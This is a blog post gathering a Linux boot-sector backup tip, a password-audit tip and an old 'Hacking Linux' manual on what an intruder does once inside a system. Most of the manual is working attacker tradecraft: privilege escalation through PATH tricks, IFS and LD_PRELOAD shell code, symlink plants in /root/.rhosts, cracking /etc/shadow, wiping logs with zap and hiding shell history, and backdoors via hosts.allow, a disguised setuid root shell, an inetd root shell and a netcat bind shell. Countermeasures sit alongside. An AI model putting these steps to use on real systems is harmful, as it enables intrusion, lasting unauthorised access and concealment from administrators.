Tuesday 6 January 2015

BACK UP YOUR BOOT SECTOR

While there are many ways to back up your file system, such as rsync for remote backups and tar or dd for local backups, there aren't as many options for backing up your boot sector. However, having a backup of your boot sector is equally important in the event of a system crash. For this procedure, the dd tool is your best bet.
LILO, or any other boot loader, is generally installed on the boot sector of the boot drive. After you've installed or modified your boot sector and verified that it works, back it up by writing it to a file on your hard drive or a floppy disk. For example:
# dd if=/dev/hda of=bootsector.img bs=512 count=1
or:
# dd if=/dev/hda of=/dev/fd0 bs=512 count=1
The first command writes the boot sector of your boot drive (in this case, /dev/hda) to a file called bootsector.img in the current directory. Replace /dev/hda with your boot drive, such as /dev/sda if you have a SCSI drive, or /dev/hde if you boot off the first device on the third controller, such as an ATA100 controller in a system with onboard ATA66 controllers.
If you ever need to restore from these images, reverse the "infile" (if) and "outfile" (of) destinations. For example:
# dd if=bootsector.img of=/dev/had
If it's stored on a floppy, use this:
# dd if=/dev/fd0 of=/dev/had
Make sure that you use the right source and destination. If you mistakenly write the floppy to the hard drive when you make a backup, you'll damage your boot sector and won't be able to boot.
 

AUDIT PASSWORDS WITH A PASSWORD-CRACKING TOOL


 
AUDIT PASSWORDS WITH A PASSWORD-CRACKING TOOL 

Auditing passwords is a worthwhile venture, particularly in an environment that deals with sensitive information. Because systems encrypt passwords when they store them, you really can't properly judge the strength of a password unless you try to crack it.

We suggest using a password-cracking tool such as John the Ripper. This tool works extremely well because it can crack MD5 passwords, which most systems currently use. In addition, it's much faster and more sophisticated than earlier password-cracking software such as Crack.

Once you've installed the tool, either from RPM or by compiling a copy yourself, you can set it to work. Keep in mind that John the Ripper uses a fair amount of CPU, but it will only use idle CPU time. However, copying the /etc/shadow file to a nonessential machine and running the tool on that, rather than a production machine, wouldn't be a bad idea either.

If you need to stop John the Ripper, press [Ctrl]C. You can resume cracking passwords from where you left off by using the following:

$ john -restore

This tool comes with a fair-sized dictionary of common passwords, which it uses by default. However, you can download any dictionary you want to use instead of or as complement to the existing dictionary. All you need to do is concatenate the default.lst file to the new dictionary.

In addition, it's a good idea to add words that are specific to your particular environment, including employee names, addresses, company name, etc.

To use a different dictionary than the default, use the following:

# john -wordfile:/tmp/dict.txt /etc/shadow

This runs John the Ripper against the passwords in /etc/shadow using the dictionary /etc/dict.txt.

To download the John the Ripper password cracker, visit the Openwall Project Web site.
http://www.openwall.com/john/

Hacking Linux: What To Do Once You're Inside


This manual is designed to tell you how to elevate your privilege and maintain access to a Linux computer. I will also tell you how to attempt to cover your tracks - and of course how to protect yourself from/ recognize these attacks. This manual does not go into every Linux type attack known to man - and nor are these attacks you will learn about new in the hacker circuit, you may even find that most of these attacks do not work on your own Linux boxes, because they have been patched - but they will give you a base of understanding to try to discover your own ways to break in and maintain access to systems. Please note that most of these methods you will never use in a real attack, I have given very unlikely and sometimes silly scenarios of possible attacks, to try to give you a better understanding, rather than to confuse you further with devilishly clever attacks. There have been areas I would have liked to have gone more indepth, for example 'password cracking with John' and the use of 'Linux Root Kit' - unfortunately I could not give long descriptions on how to use these programs, because they are out of the scope of this manual.
In the mind of the attacker s/he may process through four stages (although preferably s/he may want to avoid step two)
1) Privilege Escalation.
2) Password Cracking.
3) Maintaining Access.
4) Covering Your Tracks.

Once the attacker has gained access to the system, s/he will want to elevate their privileges as high as possible to have as much control over the system as they can - this makes all the other steps a lot easier later on. Typically the account that all attackers try to get hold of is the 'root' account (if they haven't taken control of it already) - as many of you well know the 'root' account is the account that controls all (if not most) processes, daemons and programs in a Linux system (unless of course the system is running some type of LIDS).
If the attacker has not had much luck with privilege escalation s/he may try password cracking to find any accounts that may have greater privileges, or allow other programs that may assist privilege escalation (the attacker may now repeat step one with the new privilege of any accounts that s/he was able to the crack passwords of).
Maintaining access is the third step in an attack, here the attacker will want to leave some type of entrance (or backdoor) for them to gain access to the system later, whilst not leaving too much to alert any IDS's (Intrusion Detection Systems) or systems administrators. I will discuss a variety of tactics adopted by crackers to leave backdoors, and how admins can spot them.
Covering your tracks is very important to the attacker - although this is not always the last step an attacker may make when breaching a system, the attacker may choose to erase their logins etc soon after they gain control of the root account. The reason covering your tracks is so important to the hacker is because leaving huge logs of all their logins, and attacks is not a good idea, since admins will find the attackers IP address and contact the attackers ISP - or worse, the last thing an attacker needs is a SWAT team busting through his/ her windows to arrest them! (I think I have been watching Hackers too much!).
************
Note To Readers: If you notice any errors in these documents, or you would like something explained in more depth etc, feel free to e-mail me at the address at the top of each page.
************

************
Disclaimer: This information although old can still be used to cause damage to systems, I do not recommend nor condone that you use this information for illegal purposes, because you will get caught! I cannot be held responsible for your actions, I am providing this information for educational purposes only to provide you with an insight into the mind of a cracker.
************

OK, with that dull disclaimer out the way - lets begin! - Please click one of the links below to start:
Privilege EscalationThe basics of getting root!
Password CrackingWhat tools, dictionaries there are out there and how to use them.
Maintaining AccessKeeping control - without leaving any marks.
Covering Your TracksHow the attacker makes sure they don't get caught!

Hacking Linux Part II: Password Cracking

Understanding the /etc/passwd file:
The /etc/passwd file on a Linux system is the first place a hacker would search if they wanted to compromise a large number of accounts (for obvious reasons). The /etc/passwd file has a general layout I give two examples below you may see on a Linux system:
root:*:0:0:The super user account:/root:/bin/tcsh
root:7dL94Tssk6zEt:0:0:The super user account:/root:/bin/tcsh
In /etc/passwd the ':' (colon) is used separate fieldsThe passwd file presents information about the users (in the order shown below).
- Username.
- Password.
- User ID.
- Group ID.
- Comment (usually the users full name, or about their responsibilities).
- Users home directory.
- The users shell (Usually is set as a default of /bin/bash or /bin/sh)
You may have noticed that the two possible entries above differ slightly, and that the difference is in the second field (the password section). This is because the password in the first entry is shadowed (I will explain what this means later), whereas the second password has just been encrypted. Generally nowadays you will not see the second entry as it can easily be cracked. Cracking the Linux password can be easy - but it does take time, time most attackers don't have, so they would prefer to leave this step out to achieving root privileges. Alec Muffets 'Crack' was pretty much, the first UNIX/ Linux password cracking program, it was able to crack passwords encrypted with DES crypt() and MD5 crypt(), now due to the shadow password suite, crack is almost dead. Programs such as John The Ripper are designed to break shadowed password. Since nowadays pretty much every Linux box uses the shadow password suite I will explain how to use John The Ripper later on in the manual.

Understanding the /etc/shadow file:
In the /etc/shadow file you will find entries similar to this:
root:x6FH.R4PFYGL2:11901:0:32767:7:4:12:1073741831
In /etc/shadow the ':' (colon) is used separate fieldsThe shadow file presents information about the users (in the order shown below).
Username.
- Encrypted password.
- Number of days since January 1st 1970, that the password was last changed.

- Number of days before the user is allowed to change their password.
- Number of days before the user must change their password.
- How many days in advance the user is warned of a password change.
- Number of days remaining for the user to change their password (else their account is disabled).
- A reserved field.
The /etc/passwd file needs to be read by all to login therefore has the permissions of 644 (or -rw-r--r--), the /etc/shadow file is only readable by root, and therefore has the permissions 400 (or -r--------). This can greatly increase security, because the encrypted passwords cannot be read by any other user apart from root, this makes dictionary attacks very difficult without root privilages.

Using John The Ripper To Crack Passwords:
After downloading the source, extract it and enter the src directory, then enter make linux-x86-any-elf, this will make a directory called run, this will contain all the binaries you will need to crack the Linux password. I will explain the basic use of John, but I would definitely recommend reading the documentation for full use of the program. Before you do anything I would recommend you edit john.ini, and get a different wordlist instead of using the list given with John, try packetstorm for a large password list. Remember, cracking passwords takes time and processor power - if an attacker were to try to crack your passwords on your server, rather than copying the files and cracking them elsewhere, then you will notice that your server may lag considerably.
Firstly we need to use the unshadow tool (located in the John's run directory) use the following command unshadow /etc/passwd /etc/shadow > passwd.1The easiest way to crack the password now is to enter john passwd.1. John generally has three modes - single, wordlist (with rules) & incremental, and using john passwd.1 will use those modes in that order. You can check which passwords have been cracked by running the command john -show passwd.1, these passwords are stored in john.pot. If you wish to check if any account with a userid of 0 you can use the command john -show -users:0 passwd.1. If you have a couple of different password files you can get John to work on the files at the same time, by using the following command format: john -single passwd.1 passwd.2. Lastly John has a mailing feature that will e-mail every user whose password has been cracked, you can do this by issuing the command mailer passwd.1.
Issuing the command unshadow /etc/passwd /etc/shadow > passwd.1 will echo information that looks similar to this into the file passwd.1(some accounts have been removed for brevity).
root:$1£ajQhjtGx$F60uti4xHEEqtpHb8lTs7/:0:0::/root:/bin/tcsh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/log:
nobody:*:99:99:nobody:/:
nick:xsFH.RApFyG12:1001:10:Nick Doidge:/home/nick:/bin/bash
As it cracks the passwords the encrypted string and the password are stored in john.pot the output will look similar to this:
$1£ajQhjtGx$F60uti4xHEEqtpHb8lTs7/:enter
If you wish to print out a list of passwords that have been cracked the command john -show passwd.1 will give output similar to the below:
root:enter:0:0::/root:
1 password cracked, 1 left
************
Countermeasures:

1) Make sure you use MD5 on your passwords instead of DES!
2) Use a password cracker regularly on your own computer to filter out weak passwords.
3) Use different passwords on different systems.
4) Reglarly force users to change their passwords - the root password should be changed even more frequently!
5) Your passwords should be:
.......At least 8 characters long.
.......Have at least one number.
.......Have at least one non-alphanumeric character.
.......Not consist of a dictionary word.
.......Have both upper and lower case letters.
************
Thats pretty much it for password cracking, I know I haven't gone into great depth here, but now you know the basic layout of the password files, and how to break them using John (I havent described even a quarter of John's options etc so definitely read the documentation for extra interesting utilities).

Hacking Linux Part I: Privilege Escalation

Abusing users with '.' in their PATH:

Unfortunately users and sometimes admins are lazy - its human nature to want to avoid taking unnecessary steps, in this case the user would rather type:

$ program 
instead of
$ ./program

************
Newbie Note:

Having '.' in your PATH means that the user is able to execute binaries/ scripts from the current directory.
************

To avoid having to enter those two extra characters every time, the user adds '.' to their PATH. This can be an excellent method for an attacker to escalate his/ her privilege, for example:
Joe (the attacker) happens to know that that Suzy has sudo privileges to change users passwords - unfortunately for the admins she also has the power to change the root password. Now Suzy is a lazy girl and thus has '.' in her PATH. Joe places a program called 'ls' in a directory Suzy often visits. This 'ls' program contains code to modify root's password. Now when Suzy enters that directory and asks for a listing, because she has '.' in her path, the 'ls' that Joe placed in the directory is run, instead of /bin/ls. Now root's password has been changed, and Joe is able to logon as root.
Having '.' in your PATH can also help the attacker if exploiting programs that make system(), execvp(), or execlp() calls to programs, if they do not specify the full path to the program the attacker can place a program into a directory in the PATH, so that program is run instead - this works because programmers just expect that the program they mean to run will be in the PATH.
************
Newbie Note:

To add '.' to your path type this at the prompt PATH=.:${PATH} then to be able to use the '.' in your path enter export PATH.
************

************
Countermeasures
:
1) Do not include '.' in your path!
2) Place the following at the end of your .bashrc or .profile - This will remove all occurrences of '.' in your PATH.
PATH=`echo $PATH | sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://'`
************



Shell Escape Sequences:

Many programs offer escape sequences to display a shell to the user, programs such as
- emacs - by entering alt+!
- vi - by entering :![commandname]
- man - by entering![command name] replacing [command name] with the program you wish to run.
- Old Linux games - that incorporate a TBIC (the boss is coming) feature to escape to a shell.

If you are able to use an escape sequence on a program that has suid bit set you will be given the privileges of the owner of the file. Escape sequences can help an attacker greatly, because they are so easy - although you will rarely find an escape sequence nowadays that will elevate your privilege to that of root. Try using different ctrl+[character] combinations to try and find escape sequences. For example - say that a text file had the suid bit set, and the user opened it up in vi, they could then enter :!/bin/bash, and they are given a suid root shell!
************
Countermeasures
:
1) Remove any suid games, or files that could easily be exploitable by shell escape sequences. To find all suid files on your system use the following command:
find / -type f -perm -4000
************


IFS Exploit:
The IFS exploit is pretty straight forward, although to the beginner it may seem a tad confusing. The IFS (or Internal Field Separator) is used to separate words/ arguments etc. In the English language we use the ' ' (space) character to seperate arguments from their commands.
With an IFS set to ' ' (space) the command "ls -al" has the space between 'ls' and '-al' to separate the command to its argument.
With an IFS set to ';' (semicolon) the command "ls;-al" will have the same effect as "ls -al", because we have said we wish to use the ';' instead of the space. So it uses a ';' to separate the command from its argument.
A hacker can make practical use of the IFS to escalate his/ her privilege. For example: Lets say that at every logon a suid program (/usr/bin/date) executes /bin/date and displays the output on screen. An attacker can take advantage of this by doing the following (I will explain the workings of the privilege elevation after, I have numbered the lines to make the explanation easier) (the '$' is the symbol for a standard command prompt, and the '#' is symbol for the root command prompt).
1)$ cat /home/nick/bin
2)...#!/bin/bash
3).../bin/sh #this script will execute /bin/sh
4)$ ls -al /usr/local/date
5)---s--x--x 1 root root 21673 Mar 9 18:36 date
6)$ PATH=/home/nick:${PATH}
7)$ export PATH
8)$ IFS=/
9)$ export IFS
10)$ /usr/local/date
11)# whoami
12)root
I will now explain the above in detail:
Lines 1, 2, 3: the attacker creates a simple bash script that runs /bin/sh when executed.
Lines 4 and 5: the attacker checks the permissions for the suid program that calls /bin/date.
Lines 6 and 7: adds '/home/nick' to his PATH (where the 'bin' program is he wrote earlier).
Lines 8 and 9: He sets the IFS to '/' this means that instead of using a space, the '/' will be used, this
means that the program instead of calling '/bin/date' will call 'bin date', because he has placed a
program called 'bin' in the home directory (which is now in the PATH) when /usr/local/date is executed
it will execute /home/nick/bin with the permissions of /usr/local/date - which means the
attacker will get a root shell!
Lines 11, 12: The attacker runs 'whoami' to verify that he is root, line 12 confirms this.

************
Countermeasures:
 An easy way of attempting to stop IFS exploits, is to not allow users to execute any type of executable or suid programs in places that the users can write to. Directories such as /home/[username] and /tmp allow the user write permissions, this means that they can create programs then run them from the location. If directories such as /home and /tmp are on their own partitions you can disallow users to run suid programs or any executables for that matter by adding the correct options to /etc/fstab. You can do this by replacing a line similar to this:

/dev/hda6 /tmp ext3 defaults 0 0
with this:
/dev/hda6 /tmp ext3 nosuid,noexec 0 0

This type of countermeasure is not only useful to stop IFS attacks - but pretty much all attacks concerned with privilege escalation discussed in this manual
************


LD_PRELOAD Exploit:
This attack involves .so files (part of the dynamic link library) being used by programs. The attacker can add a program pretending to be one of these libraries so that when a program is run it will execute the program pretending to be a library, this is useful if you are calling a program that has the suid bit set to root, this. So when the program is first run, it will attempt to load the library it requires (but it has been replaced with code the attacker wants executed) and thus runs the commands in the program placed by the attacker, with the permissions of the owner of the calling program. A full example of this is demonstrated below:
1)$ cat me-root.c
2)...#include <stdio.h>
3)...#include <unistd.h>
4)...main()
5)...{
6)......setuid(0);
7)......setgid(0);
8)......printf("Congratulations you are root!");
9)...}
10)$ gcc -o me-root me-root.c
11)$ ls -l me-root.c
12)---s--x--x 1 root root 4365 Mar 16 14:05 me-root.c
13)$ cat me-root_so.c
14)...void printf(char *str)
15)...{
16)......execl("/bin/sh","sh",0);
17)...}
18)$ gcc -shared -o me-root_so.so me-root_so.c
19)& LD_PRELOAD=./me-root_so.so
20)$ export LD_PRELOAD
21)$ ./me-root
22)# whoami
23)root
I will explain the above attack in detail:
Lines 1 to 9: The attacker creates a simple C program that runs gives sets the userid and groupid to 0 (root). 
Line 10: The attacker compiles the program created above and calls it 
me-root.
Lines 11 & 12: The attacker checks the file permissions on the me-root program.
Lines 13 to 17: The attacker creates the program that will pretend to be part of a library, it executes /bin/bash.
Line 18: The attacker compiles the pretend library program as a shared library and calls it me-root_so.so.
Lines 19 & 20: The attacker adds me-root_so.so, and exports LD_PRELOAD, so now when me-root is run it will execute the program 
me-root_so.so
 (pretending to be a library) with the permissions of me-root (in this case the permissions of userid 0 - which is the root account!).
Line 21: The attacker runs the me-root program.
Lines 22 & 23: The attacker verifies who s/he is, line 23 confirms s/he is root.


Symlinks:
Symlinks or symbolic links are a very useful tool in Linux. They allow us to make a "shortcut" (in windows terms) to a file or folder. For example
ln -s /etc/passwd /tmp/passwd_file
This creates a link called /tmp/passwd_file to /etc/passwd, so now whenever /tmp/passwd_file is opened it will open /etc/passwd. Although symlinks can be infinately useful, they are quite easily exploitable. Lets say for example Joe attacker is feeling particularly sneaky, Joe knows root uses '.' in his path, and that all users can post technical problems to the admin into a directory /usr/problems/. The attack is below, and the full description will follow:
1)$ ln -s /root/.rhosts /tmp/root-rhost
2)$ stat /tmp/root-rhost
3)...stat: cannot stat /tmp/root-rhost
4)$ cat /usr/problems/ls
5)...#!/bin/bash
6)...if [ ! -e /tmp/root-rhost ] ; then
7)......echo "+ +" >>/tmp/root-rhost
8)...fi
I will explain the above attack in detail:
Lines 1, 2 & 3: The attacker creates symbolic link from /tmp/root-rhost to /root/.rhosts, and uses stat to see if the file existed, the output on line three indicates that /root/.rhosts does not exist (the admin removed /root/.rhosts because he saw this file as a security threat - this is what Joe wants)
Line 4 to 8: He then creates a bash script called ls (which will be run instead of /bin/ls, because '.' is in his path first, when he wants to list the contents of /usr/problems/). This program tests if /tmp/root-rhost exists, because it is a symbolic link pointing to /root/.rhosts (which does not exist) it will return that /root/.rhosts does not exist, so it will then echo "+ +" into /tmp/root-rhost, which will be forwarded into the file/root/.rhosts! This will mean that root will have a passwordless login over any login that supports and allows rhosts authentication (e.g. rlogin and ssh). The trap is now set, he just has to wait!

Cron jobs with symlinks can also be used to an attackers advantage, for example:
The 'sales' group in businesscorp.com have a folder to post their documents for the whole group to read and write to, unfortunately the users keep forgetting to add group write permissions to their documents, so the admin developed a script that will change the files in the sales folder to the group sales, and set group writeable permissions, this script is run periodically through a cron job, the script looks like the below.
1)#!/bin/bash
2)chgrp -R sales /usr/export/sales
3)chmod -R g+w /usr/export/sales
If someone sneaky in sales decided to make two symlinks to /etc/passwd and /etc/shadow, the cron job would follow the symlinks and set write permissions for the group sales on /etc/passwd and /etc/shadow. From here the attacker can change any password s/he wants.

Hacking Linux: Covering Your Tracks

As I have said before, erasing any evidence of a break-in is a must for any attacker. This usually will start with erasing their logins, and any possible error messages that may have been generated from their attacks (e.g. a buffer overflow attack will usually leave a message in the system logs), they will want to remove any trace of them being there, secondly they may make changes so that they will not be continued to be logged. This manual will not only try to describe how to erase your tracks, I will also try to explain how log files work, and what to look out for as an admin.
Being able to modify the logs will need the privilege of root, if you have root privileges (if you were successful in step one - elevating privileges) then there should not be any problems unless the admins are sneaky (I will discuss what tactics can be used to catch attackers out when logging their attacks in the countermeasures section at the end of the manual).
I will give a full example as to how an attacker will remove their traces from a system (Please note this example is not an actual account of an attack - it is just to show you how log files are produced on different events, and how to remove them).
Step 1: Joe has the IP address 207.128.56.132he scans target.nosecurity.org with nmap using the connect() scan, to find the following ports open:
21 - FTP.
23 - Telnet.
25 - SMTP.
79 - Finger.

Already Joe has left traces on the system, in three different logs! The log output at present looks like this:
Output from /var/log/maillog:
Aug 15 23:22:04 gravity sm-mta[204]: g7FNCSnd000204: attackerbox [207.128.56.132] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA
Aug 15 23:22:04 gravity sm-mta[206]: g7FNCSnd000206: atacker-box [207.128.56.132] did not issue MAIL/EXPN/VRFY/ETRN during connection to MSA

Output from /var/log/messages:
Aug 15 23:12:28 gravity telnetd[205]: ttloop: read: Connection reset by peer

Output from /var/log/secure:
Aug 15 23:22:04 target in.fingerd[245]: warning: can't get client address: Connection reset by peer
Aug 15 23:22:04 target in.fingerd[245]: connect from unknown
Aug 15 23:22:04 target in.ftpd[248]: connect from 207.128.56.132
Aug 15 23:22:04 target in.telnetd[249]: warning: can't get client address: Connection reset by peer
Aug 15 23:22:04 target in.telnetd[249]: connect from unknown
The logs above can strongly suggest to the admins that the computer has been portscanned.
************Newbie Note: The connect() method as you may have guessed is not very stealthy, and leaves large logs of information, for stealth scanning it is recommended to only use SYN or FIN scanning, this can be achieved in nmap by issuing one of the following commands:
nmap -sS [target host] (for SYN Scanning).
nmap -sF [target host] (for FIN Scanning).
These scans are more stealthy because they do not execute a full connect() - Which are logged by Linux systems.
************


Step 2: Seeing that port 23 is open he decides to Telnet into the system to try password guessing:
$ telnet target.nosecurity.org
Welcome To target.nosecurity.org: Please enter your usename and password
username: root
password: root
Login Incorrect

username: root password: enter
Joe is immediately given a root prompt (#). Again Joe's activity has add more information to the system logs, the output is listed below
Output from /var/log/secure:
Aug 6 23:31:47 target in.telnetd[284]: connect from 207.128.56.132
Output from /var/log/lastlog: - Displays who has logged onto the system and the last time they logged on.
root pts/3 Thu Aug 15 23:32:28 +0000 2002
Output from /var/log/faillog: - Displays failed logins, on what terminal, and when.
root 0 0 Thu Aug 15 23:31:04 +0000 2002 on pts/3
So now Joe has to erase his scans and entrance in 5 different logs! That's not to mention the entries to lastlogwtmp and utmp! To try and remain as quiet as possible so the admins won't spot him, he adds a new account called jpark by using the useradd and passwd commands, thisjpark account will have the userid of 0 (root), and groupid of 0 (root), so he no longer needs the root account. Again doing this adds two new lines to /var/log/secure.
Output from /var/log/secure:
Aug 15 23:32:10 target useradd[279]: new user: name=jpark, uid=0, gid=0, home=/root, shell=/bin/bash
Aug 15 22:32:38 target passwd[280]: password for `jpark' changed by `root'
If an admin catches sight of this they will know they have an attacker in the system, Joe knows he has left a lot of information about his attack, and now he knows he must erase his tracks from the logs.
The hardest logs to remove are those from /var/log/wtmp/var/run/utmp, /var/log/lastlog and /var/log/faillog, because these cannot be edited in plain text with a program like vi or emacs. Programs like wipe or zap are designed to do this for you, these programs can be used to remove entries based on usernames, I have had to modify the code slightly so that it removes entries from faillog - as originally it only removed entries from wtmputmp and lastlogClick here for the zap program source code. You can compile zap by using the command: gcc -o zap zap.c

Step 3: Joe has his zap binary, and now erases all information that is logged about the root account during the day, by using the command 
./zap root
.
 Below is a before and after table showing what the logs looked like before and after using zap.

 
Before
After
Lastlog - output from command:lastlog
nicktty1 Thu Aug 15 14:06:08 +0000 2002
rootpts/3 Thu Aug 15 23:32:28 +0000 2002
nicktty1 Thu Aug 15 14:06:08 +0000 2002
root  **Never logged in**
WTMP - output from command: 
who /var/log/wtmp
roottty1Wed Aug 1410:37
roottty3Thu Aug 1509:00
nicktty1Thu Aug 1514:12
rootpts/3Thu Aug 1523:32
roottty1Wed Aug 1410:37
nicktty1Thu Aug 1514:12
UTMP - output from command:
who /var/run/utmp
roottty1Wed Aug 1410:37
roottty3Thu Aug 1509:00
nicktty1Thu Aug 1514:12
rootpts/3Thu Aug 1523:32
roottty1Wed Aug 1410:37
nicktty1Thu Aug 1514:12
Faillog - output from command:
faillog
root 0 0 Thu Aug 15 23:31:04 +0000 2002 on pts/3 
As you can see the zap program removes all entries of the username in the logs for that day only. If the admin uses the lastlog command they will notice that root has **Never logged in**, if root has logged in before the admins will know that there has been a cracker on the system. Also as you can see root logged in twice on the 15th, once at 9:00 (by the admin) and again at 23:32 (by the attacker). When you use zap, it will remove both entries because they are of the same username and they logged in on the same day, if an admin knows what days they have logged in as root on, they will spot that their previous logins are missing from the logs, and again will know an attacker broke in on that day.


Step 4:
 Now with those logs out the way he still needs to remove data from:
  1. messages
  2. maillog
  3. secure
Removing his tracks from maillog, secure and messages are simple enough, these can be edited within your favorite editor.
Below is all the information left by Joe in these three logs:
All logged information in /var/log/secure from Joe's attacks:
Aug 15 23:22:04 target in.fingerd[245]: warning: can't get client address: Connection reset by peer
Aug 15 23:22:04 target in.fingerd[245]: connect from unknown
Aug 15 23:22:04 target in.ftpd[248]: connect from 207.128.56.132
Aug 15 23:22:04 target in.telnetd[249]: warning: can't get client address: Connection reset by peer
Aug 15 23:22:04 target in.telnetd[249]: connect from unknown

Aug 6 23:31:47 target in.telnetd[284]: connect from 207.128.56.132Aug 15 23:32:10 target useradd[279]: new user: name=jpark, uid=0, gid=0, home=/root, shell=/bin/bash
Aug 15 22:32:38 target passwd[280]: password for `jpark' changed by `root'

All logged information in /var/log/maillog from Joe's attacks:
Aug 15 23:22:04 gravity sm-mta[204]: g7FNCSnd000204: attackerbox [207.128.56.132] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA
Aug 15 23:22:04 gravity sm-mta[206]: g7FNCSnd000206: atacker-box [207.128.56.132] did not issue MAIL/EXPN/VRFY/ETRN during connection to MSA

Output from /var/log/messages:
Aug 15 23:12:28 gravity telnetd[205]: ttloop: read: Connection reset by peer
Joe can simply open up each of these three logs in an editor an delete the appropriate lines, it is important not to remove any lines that do not involve your attacks, as missing entries can tip off the admins.

Step 5: Just to make sure the admins do not get wind of Joe's attacks he edits the command line history, in this case the admin uses the bash shell, and so Joe edits /root/.bash_history taking out the lines of commands that are in relation to his attacks. Alternatively Joe can delete the.bash_history, then make a symbolic link from /root/.bash_history to /dev/null, this way all his further commands will be thrown into nothingness. Although this may be useful, it just screams to the admins that there is an attacker - so this is not really a good idea, its safer to make that extra effort to remove your commands manually.
************
Newbie Note
: You can make a symbolic link from /root/.bash_history to /dev/null by using the command:

ln -s /dev/null /root/.bash_history
************


Step 6: If on another system the attacker may notice a directory /var/log/snort, this is a big tip off that Snort is being used on that system to monitor inbound/ outbound packets on the system, or any possible types of attacks, the attacker must remove their presence from these logs also. Snort is not the only type of program you should be wary of - programs like ethereal, any type of log monitoring program (such as swatchor logcheck), or port monitoring programs (such as portsentry or scanlogd) are also dangerous to an attacker, as these leave larger more detailed logs. which may be hard to spot- If you notice that the system is running some type of sniffer/ IDS, and a log scanner, and some type of port monitoring program then there is a big chance that the admin already knows about your activities.
As an attacker s/he will need to remove any entries from logs of these programs, this means a lot more work for the attacker - they may have to remove their presence from maybe an extra 4 or 5 logs.
************
Countermeasures: 

1) Rebuild syslog so that it logs files to a different directory.
2) Use cron to copy log files to a syslog server at regular intervals.
3) Use a program like swatch or logsentry to watch over your logs, and send e-mails in emergencies.
4) Use a program like chkwtmp, and/ or chklastlog - to check if programs like zap have been used on your system.
5) Make it as difficult for the attacker as possible by logging everything! Edit /etc/login.defs for extra logging features, such as incorrect login timeouts, and logging of successful logins etc.
6) Also install some type of IDS and port watching program to add extra information into your logs about an attacker, the more information that you log about the attacker, the harder it will be for them to spot them and remove every trace of their attack.
************

Hacking Linux: Maintaining Access

To keep hold of a Linux system, without leaving any telltale marks can be difficult, all the below are methods that have been used in system attacks, although most of these are relatively easy to spot. Ideally for the attacker to use these techniques s/he will have to obtained the root account, or a user with sudo privileges.
Make changes to /etc/hosts.deny /etc/hosts.allow:
If the attacker happens to be hacking on the local network, s/he may want to continue their attack outside the network, unfortunately for the attacker TCP wrappers may be disallowing access from the attackers IP address because s/he is external to the network (It is more than likely that the admins would not only use TCP Wrappers - IPChains or IPTables are also very popular for firewalling rules - you may have to remove any rules from these also). This can be changed very easily by the attacker by giving this command:
$ echo 'ALL: attackerbox.badboy.org' >> /etc/hosts.allow
This will now instantly grant access to every service to the attackers computer (attackerbox.badboy.org). This may not be such as good idea for the hacker, because as you can see he s/he has left their hostname stored on the remote server - big mistake! Alternatively one of the last lines in /etc/hosts.deny might read "ALL: ALL" This means that if they have not already passed any rules allowing them or denying them to any services - then they are to be denied from everything. Instead of making changes to the hosts.allow file, the attacker could just remove the "ALL: ALL" line from hosts.deny file, this means that the attacker does not leave their IP address/ hostname on the server.
************
Countermeasures:
1) Use some type of file integrity checker, such as Tripwire or AIDE to perform validation checks recursively on all files/ directories in /etc, places such as /bin/usr/bin/sbin and /usr/sbin are also a good idea to check to make sure binaries have not been replaced by trojans/ rootkits.
2) Make the important files immutable by using chattr +i [filename]this means the file cannot be overwritten, altered or deleted by anyone (including the owner), until the owner of the file uses chattr -i [filename] to take the immutable attribute away.
************


Adding New Accounts:
Adding new accounts is quick, simple and a dead give away to admins. There are two ways you can do this, the easiest way is to use the useraddand passwd commands, although using these commands does appear in /var/log/secure (see Covering Your Tracks for information on how to erase this type of information from the logs). The second method of doing this is to add a username manually to /etc/passwd. If you were to add a new entry to /etc/passwd it is advised you place an account in the middle of all the other usernames, because the admin would read the first and last usernames. Entries to the passwd file are very easily spotted by file integrity checkers - and admin worth his salt will have some type of file integrity checker. Generally attacker may use names similar system login names or follow username naming conventions, e.g. toorRoot,Bingamez. you may notice that these examples for usernames have been spelled differently, or made use of a captial letter (linux system name do not use capital letters).
************
Countermeasures:
1) Use some type of file integrity checker, such as Tripwire or AIDE to perform validation checks recursively on all files/ directories in /etc, places such as /bin/usr/bin/sbin and /usr/sbin are also a good idea to check to make sure binaries have not been replaced by trojans/ rootkits.************

Setuid Root Shells:
This is by far one of the easiest ways to get back to the status of root, by copying a shell, and giving it suid permissions under the owners name of root, or creating a C program that gives the user the suid permissions of root, then executes a shell. This can be done by issuing the following commands as root:
# cp /bin/sh /home/joeuser/weekly-report
# chmod 4555 /home/joeuser/weekly-report
# ls -al /home/joeuser/weekly-report

-r-sr-xr-x 1 root root 21673 Mar 9 18:36 weekly-report
So now whenever the attacker logs on under the username of joeuser, he can run weekly-report and get a root shell he can then check this with id to make sure who he has the permissions of:
$ ./weekly-report
# id
uid=503 (joeuser) gid=503 (joeuser) euid=0 (root) groups=503 (joeuser)

Notice the euid=500 (root)? This means the attackers effective userid is that of root!

Using inetd To Run Interactive Shells:
This attack is pretty easy, but is easy for an admin to spot also. The basic idea of the attack is to modify /etc/inetd.conf so that it will run an interactive shell, instead of a service it thinks it is. For example, lets say that one line of inetd.conf looks like this:
identd ...stream... tcp ...nowait... nobody .../usr/libexec/identd ...identd -el
We could change that line very easily so that instead of running a legitimate service it will run a shell instead, so you can change the line to look something like this:
identd ...stream ...tcp... nowait ...root .../bin/bash -i
Now the attacker can telnet to port 113 (identd's port) and execute commands with the privileges of root. If the admin is running some kind of file integrity checker, this will be spotted immediately. So one slight countermeasure for the attacker is to copy the inetd.conf file to another directory, make the changes they need to the copy, and then tell inetd to use the modified copy as its configuration file. Even now it is easy for the admin to notice that you have modified inetd, because they will see extra ports open, or if you have replaced an existing service they will realise that their service is not working as it should. So this is really not a clever backdoor by any means.
************
Countermeasures:
1) Use the command grep -v "^#" /etc/inetd.conf to show any lines that are not commented out with a hash (#) in /etc/inetd.conf. Make sure you read the output, so you can spot if anyone has tried this method.2) If you do not need to run any services that are organised by inetd, then don't install it! I manage OpenSSH, and Apache on my boxes - without the use of inetd.************

Using Netcat:
Netcat is such a useful tool, it just had to have a mention in this manual. A simple way to install a backdoor into a system is to use netcat to listen on a port, the command:
nc -vv -l -p 65532 -e /home/joeuser/weekly-report
